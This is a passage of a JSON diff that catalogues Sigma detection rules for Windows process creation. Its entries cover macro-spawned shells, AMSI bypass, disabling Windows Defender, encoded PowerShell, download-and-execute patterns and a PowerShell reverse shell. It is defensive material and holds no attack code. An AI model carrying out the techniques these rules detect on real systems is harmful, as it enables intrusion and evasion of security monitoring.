"https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it. Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.", + "uuid": "c0e1c3d5-4381-4f18-8145-2583f06a1fe5", + "value": "Excel Proxy Executing Regsvr32 With Payload", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Word, Excel, Powerpoint, Publisher and Visio", + "uuid": "438025f9-5856-4663-83f7-52f878a70a50", + "value": "Microsoft Office Product Spawning Windows Shell", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_shell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2018/04/06", + "filename": "proc_creation_win_office_shell.yml", + "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", + "uuid": "04f5363a-6bca-42ff-be70-0d28bf629ead", + "value": "Office Applications Spawning Wmi Cli", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawning_wmi_commandline.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_office_spawning_wmi_commandline.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable in the users directory started from Microsoft Word, Excel, Powerpoint, Publisher or Visio", + "uuid": "aa3a6f94-890e-4e22-b634-ffdfd54792cc", + "value": "MS Office Product Spawning Exe in User Dir", + "meta": { + "refs": [ + "sha256=23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57c", + "https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.g0046", + "car.2013-05-002" + ], + "creation_date": "2019/04/02", + "filename": "proc_creation_win_office_spawn_exe_from_users_directory.yml", + "author": "Jason Lynch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects svchost process spawning an instance of an office application. This happens when the initial word application create an instance of one of the office COM objects such as 'Word.Application', 'Excel.Application'...etc. This can be used by malicious actor to create a malicious office document with macros on the fly. (See vba2clr project in reference)", + "uuid": "9bdaf1e9-fdef-443b-8081-4341b74a7e28", + "value": "Svchost Spawning Office Application", + "meta": { + "refs": [ + "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic", + "https://github.com/med0x2e/vba2clr", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_svchost_child.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2022/10/13", + "filename": "proc_creation_win_office_svchost_child.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of office automation via scripting" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Windows command and scripting interpreter executable started from Microsoft Outlook", + "uuid": "208748f7-881d-47ac-a29c-07ea84bf691d", + "value": "Microsoft Outlook Product Spawning Windows Shell", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_outlook_shell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2022/02/28", + "filename": "proc_creation_win_outlook_shell.yml", + "author": "Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious execution of \"PDQDeployRunner\" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines", + "uuid": "12b8e9f5-96b2-41e1-9a42-8c6779a5c184", + "value": "Suspicious Execution Of PDQDeployRunner", + "meta": { + "refs": [ + "https://twitter.com/malmoeb/status/1550483085472432128", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/22", + "filename": "proc_creation_win_pdqdeploy_runner_susp_children.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the PDQDeploy tool to execute these commands" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of PDQ Deploy remote admin tool", + "uuid": "d679950c-abb7-43a6-80fb-2a480c4fc450", + "value": "Use of PDQ Deploy Remote Adminstartion Tool", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md", + "https://www.pdq.com/pdq-deploy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdq_deploy.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1072" + ], + "creation_date": "2022/10/01", + "filename": "proc_creation_win_pdq_deploy.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt", + "uuid": "ec88289a-7e1a-4cc3-8d18-bd1f60e4b9ba", + "value": "Persistence Via TypedPaths - CommandLine", + "meta": { + "refs": [ + "https://twitter.com/dez_/status/1560101453150257154", + "https://forensafe.com/blogs/typedpaths.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_persistence_typed_paths.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/22", + "filename": "proc_creation_win_persistence_typed_paths.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", + "uuid": "b2400ffb-7680-47c0-b08a-098a7de7e7a9", + "value": "Pingback Backdoor", + "meta": { + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", + "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pingback_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574.001" + ], + "creation_date": "2021/05/05", + "filename": "proc_creation_win_pingback_backdoor.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Very unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of an executable that is typically used by PlugX for DLL side loading started from an uncommon location", + "uuid": "aeab5ec5-be14-471a-80e8-e344418305c2", + "value": "Executable Used by PlugX in Uncommon Location", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/", + "https://countuponsecurity.com/2017/06/07/threat-hunting-in-the-enterprise-with-appcompatprocessor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plugx_susp_exe_locations.yml" + ], + "tags": [ + "attack.s0013", + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2017/06/12", + "filename": "proc_creation_win_plugx_susp_exe_locations.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level", + "uuid": "0f9c21f1-6a73-4b0e-9809-cb562cb8d981", + "value": "Possible Privilege Escalation via Service Permissions Weakness", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://pentestlab.blog/2017/03/31/insecure-registry-permissions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml", + "author": "Teymur Kheirkhabarov", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Request to amsiInitFailed that can be used to disable AMSI Scanning", + "uuid": "30edb182-aa75-42c0-b0a9-e998bb29067c", + "value": "Powershell AMSI Bypass via .NET Reflection", + "meta": { + "refs": [ + "https://twitter.com/mattifestation/status/735261176745988096", + "https://www.hybrid-analysis.com/sample/0ced17419e01663a0cd836c9c2eb925e3031ffb5b18ccf35f4dea5d586d0203e?environmentId=120", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2018/08/17", + "filename": "proc_creation_win_powershell_amsi_bypass.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects audio capture via PowerShell Cmdlet.", + "uuid": "932fb0d8-692b-4b0f-a26e-5643a50fe7d6", + "value": "Audio Capture via PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", + "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_powershell_audio_capture.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate audio capture by legitimate user." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Base64 encoded Shellcode", + "uuid": "2d117e49-e626-4c7c-bd1f-c3c0147774c8", + "value": "PowerShell Base64 Encoded Shellcode", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1063072865992523776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_b64_shellcode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2018/11/17", + "filename": "proc_creation_win_powershell_b64_shellcode.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect download by BITS jobs via PowerShell", + "uuid": "f67dbfce-93bc-440d-86ad-a95ae8858c90", + "value": "Suspicious Bitsadmin Job via PowerShell", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/ec5180c9-721a-460f-bddc-27539a284273.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_bitsjob.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2018/10/30", + "filename": "proc_creation_win_powershell_bitsjob.yml", + "author": "Endgame, JHasenbusch (ported to sigma for oscd.community)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific encoding method of cOnvErTTO-SECUreStRIng in the PowerShell command lines", + "uuid": "74403157-20f5-415d-89a7-c505779585cf", + "value": "Encoded PowerShell Command Line Usage of ConvertTo-SecureString", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_win_powershell_cmdline_convertto_securestring.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the PowerShell command lines with reversed strings", + "uuid": "b6b49cd1-34d6-4ead-b1bf-176e9edba9a4", + "value": "Suspicious PowerShell Cmdline", + "meta": { + "refs": [ + "https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_win_powershell_cmdline_reversed_strings.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the PowerShell command lines with special characters", + "uuid": "d7bcd677-645d-4691-a8d4-7a5602b780d1", + "value": "Suspicious PowerShell Command Line", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "proc_creation_win_powershell_cmdline_special_characters.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)", + "level": "high", + "falsepositive": [ + "Unlikely", + "Amazon SSM Document Worker", + "Windows Defender ATP" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific combinations of encoding methods in the PowerShell command lines", + "uuid": "cdf05894-89e7-4ead-b2b0-0a5f97a90f2f", + "value": "Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_specific_comb_methods.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_win_powershell_cmdline_specific_comb_methods.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "level": "low", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific combinations of encoding methods in the PowerShell command lines", + "uuid": "5b572dcf-254b-425c-a8c5-d9af6bea35a6", + "value": "Suspicious Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_susp_comb_methods.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/07/06", + "filename": "proc_creation_win_powershell_cmdline_susp_comb_methods.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded \"MpPreference\" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV", + "uuid": "c6fb44c6-71f5-49e6-9462-1425d328aee3", + "value": "Powershell Defender Base64 MpPreference", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_base64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/03/04", + "filename": "proc_creation_win_powershell_defender_base64.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Possible Admin Activity", + "Other Cmdlets that may use the same parameters" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects requests to disable Microsoft Defender features using PowerShell commands", + "uuid": "1ec65a5f-9473-4f12-97da-622044d6df21", + "value": "Powershell Defender Disable Scan Feature", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", + "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", + "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/03/03", + "filename": "proc_creation_win_powershell_defender_disable_feature.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Possible Admin Activity", + "Other Cmdlets that may use the same parameters" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets", + "uuid": "17769c90-230e-488b-a463-e05c08e9d48f", + "value": "Powershell Defender Exclusion", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/04/29", + "filename": "proc_creation_win_powershell_defender_exclusion.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Possible Admin Activity", + "Other Cmdlets that may use the same parameters" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attackers attempting to disable Windows Defender using Powershell", + "uuid": "a7ee1722-c3c5-aeff-3212-c777e4733217", + "value": "Powershell Used To Disable Windows Defender AV Security Monitoring", + "meta": { + "refs": [ + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_windef_av.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_powershell_disable_windef_av.yml", + "author": "ok @securonix invrep-de, oscd.community, frack113", + "level": "high", + "falsepositive": [ + "Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell Strings applied to rundll as seen in PowerShdll.dll", + "uuid": "6812a10b-60ea-420c-832f-dfcc33b646ba", + "value": "Detection of PowerShell Execution via DLL", + "meta": { + "refs": [ + "https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2018/08/25", + "filename": "proc_creation_win_powershell_dll_execution.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", + "uuid": "b3512211-c67e-4707-bedc-66efc7848863", + "value": "PowerShell Downgrade Attack", + "meta": { + "refs": [ + "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_downgrade_attack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/03/20", + "filename": "proc_creation_win_powershell_downgrade_attack.yml", + "author": "Harish Segar (rule)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Powershell process that contains download commands in its command line string", + "uuid": "3b6ab547-8ec2-4991-b9d2-2b06702a48d7", + "value": "PowerShell Download from URL", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_powershell_download.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)", + "uuid": "e6c54d94-498c-4562-a37c-b469d8e9a275", + "value": "Suspicious PowerShell Download and Execute Pattern", + "meta": { + "refs": [ + "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70", + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/02/28", + "filename": "proc_creation_win_powershell_download_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software installers that pull packages from remote systems and execute them" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious FromBase64String expressions in command line arguments", + "uuid": "e32d4572-9826-4738-b651-95fa63747e8a", + "value": "FromBase64String Command Line", + "meta": { + "refs": [ + "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml" + ], + "tags": [ + "attack.t1027", + "attack.defense_evasion", + "attack.t1140", + "attack.t1059.001" + ], + "creation_date": "2020/01/29", + "filename": "proc_creation_win_powershell_frombase64string.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative script libraries" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the 'Get-Clipboard' cmdlet via CLI", + "uuid": "b9aeac14-2ffd-4ad3-b967-1354a4e628c3", + "value": "PowerShell Get-Clipboard Cmdlet Via CLI", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", + "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_powershell_get_clipboard.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects execution of PowerShell scripts located in the \"C:\\Users\\Public\" folder", + "uuid": "fb9d3ff7-7348-46ab-af8c-b55f5fbf39b4", + "value": "Execution of Powershell Script in Public Folder", + "meta": { + "refs": [ + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_public_folder.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/06", + "filename": "proc_creation_win_powershell_public_folder.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Nishang Invoke-PowerShellTcpOneLine reverse shell", + "uuid": "edc2f8ae-2412-4dfd-b9d5-0c57727e70be", + "value": "Powershell Reverse Shell Connection", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/03/03", + "filename": "proc_creation_win_powershell_reverse_shell_connection.yml", + "author": "FPT.EagleEye, wagga", + "level": "high", + "falsepositive": [ + "Administrative might use this function for checking network connectivity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data by HAFNIUM", + "uuid": "25676e10-2121-446e-80a4-71ff8506af47", + "value": "Exchange PowerShell Snap-Ins Used by HAFNIUM", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml" + ], + "tags": [ + "attack.execution", + 